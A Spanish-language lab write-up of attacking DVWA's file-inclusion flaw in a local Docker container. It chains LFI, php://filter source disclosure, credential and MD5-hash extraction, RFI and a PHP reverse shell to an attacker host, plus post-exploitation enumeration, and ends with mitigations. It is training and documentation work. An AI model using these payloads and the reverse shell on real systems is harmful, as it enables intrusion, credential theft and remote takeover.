- Aplicación objetivo: DVWA (Damn Vulnerable Web Application)
- Vulnerabilidad principal: File Inclusion (LFI/RFI)
- Entorno: Docker / Linux
- Acceso web: http://localhost:8080
🎯 Objetivo
Evaluar la vulnerabilidad de File Inclusion y demostrar su impacto hasta conseguir:
- Lectura de archivos sensibles
- Ejecución remota de comandos (RCE)
- Acceso al sistema mediante reverse shell
🖥️ Entorno
- Sistema atacante: Kali Linux (VirtualBox – NAT)
- Contenedor objetivo: DVWA
🌐 Red
- Kali:
10.0.2.15 - Docker bridge:
172.17.0.1 - DVWA:
172.17.0.2 - Usuario comprometido:
www-data

🔍 Fase 1 – Identificación de la Vulnerabilidad
📍 Ruta vulnerable
/vulnerabilities/fi/
📥 Parámetro vulnerable
?page=
🔎 Código vulnerable
$file = $_GET['page'];
include($file);
⚠️ Problema Detectado
- ❌ Falta de validación de entrada
- ❌ Inclusión directa de archivos
- ❌ Permite traversal y ejecución
👉 Vulnerabilidad identificada:
💥 Local File Inclusion (LFI)
🧪 Fase 2 – Prueba de Concepto (LFI)
?page=../../../../etc/passwd
📥 Resultado

- Acceso a archivos del sistema
- Enumeración de usuarios
🧠 Fase 3 – Explotación Avanzada
🧰 Source Disclosure (php://filter)
curl "http://localhost:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/../../../../var/www/html/config/config.inc.php" \
--cookie "PHPSESSID=0nrk9vu0fiajdtbhcd1jj2uk94; security=low" | base64 -d
🔓 Decodificación

🔑 Fase 4 – Obtención de Credenciales
db_user = app
db_password = vulnerables
db_database = dvwa
🗄️ Fase 5 – Acceso a Base de Datos
mysql -u app -p
SELECT user, password FROM users;
🔓 Fase 6 – Extracción de Hashes
| Usuario | Hash MD5 |
|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
🔑 Fase 7 – Cracking de Contraseñas
| Usuario | Contraseña |
|---|---|
| admin | password |
| gordonb | abc123 |
| 1337 | charley |
| pablo | letmein |
| smithy | password |
🔧 Fase 8 – Escalado a RFI
Se habilita:
allow_url_include = On
💣 Fase 9 – Remote File Inclusion (RFI)
🔹 Payload
?page=http://10.0.2.15:8000/shell.php&cmd=id
📥 Resultado
uid=33(www-data)
👉 Confirmación de:
💥 Remote Code Execution (RCE)
🧨 Fase 10 – Reverse Shell

script /dev/null -c bash
crtl+z
stty raw -echo;
fg
export TERM=xterm
reset
📌 Payload PHP
<?php
$sock=fsockopen("10.0.2.15",4444);
$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>
📡 Listener
rlwrap nc -lvnp 4444
💥 Ejecución
?page=http://10.0.2.15:8000/shell2.php
✅ Resultado
www-data@container:/var/www/html$
🧠 Fase 11 – Post-Explotación
📋 Enumeración
whoami
id
uname -a
📥 Resultado
- Usuario:
www-data - Sistema: Debian 9
- Entorno: Docker
🐳 Identificación de contenedor
ls -la /.dockerenv
cat /proc/1/mountinfo
🔍 Búsqueda de SUID
find / -perm -4000 2>/dev/null
📥 Resultado
- Binarios estándar
- ❌ Sin vectores de escalada
🚫 Restricciones
- ❌
sudono disponible - ❌
docker.sockno accesible - ❌ Sin acceso a
/var/lib/docker - ❌ Sin privilegios root
⚠️ Impacto
La vulnerabilidad permite:
- 💀 Ejecución remota de código (RCE)
- 💻 Reverse shell
- 📂 Lectura de archivos sensibles
- 🔑 Exposición de credenciales
- 🗄️ Acceso a base de datos
- 🐳 Compromiso del contenedor
📊 Severidad
🔴 CRÍTICA
🛡️ Mitigaciones
- Validar parámetros mediante listas blancas
- Deshabilitar
allow_url_include - Evitar uso de
include()con input del usuario - Implementar funciones seguras
- Aplicar principio de mínimo privilegio
- Aislar servicios correctamente
🧾 Conclusión
Se ha conseguido una cadena completa de ataque:
LFI → Source Disclosure → Credenciales → RFI → RCE → Reverse Shell
👉 Compromiso total del sistema dentro del entorno del contenedor.
🚀 Nivel Técnico Alcanzado
- ✔ File Inclusion (LFI/RFI)
- ✔ Source Disclosure
- ✔ RCE
- ✔ Reverse Shell
- ✔ Post-explotación en Docker
🔥 Resultado Final
Explotación completa encadenada con éxito (PWND).
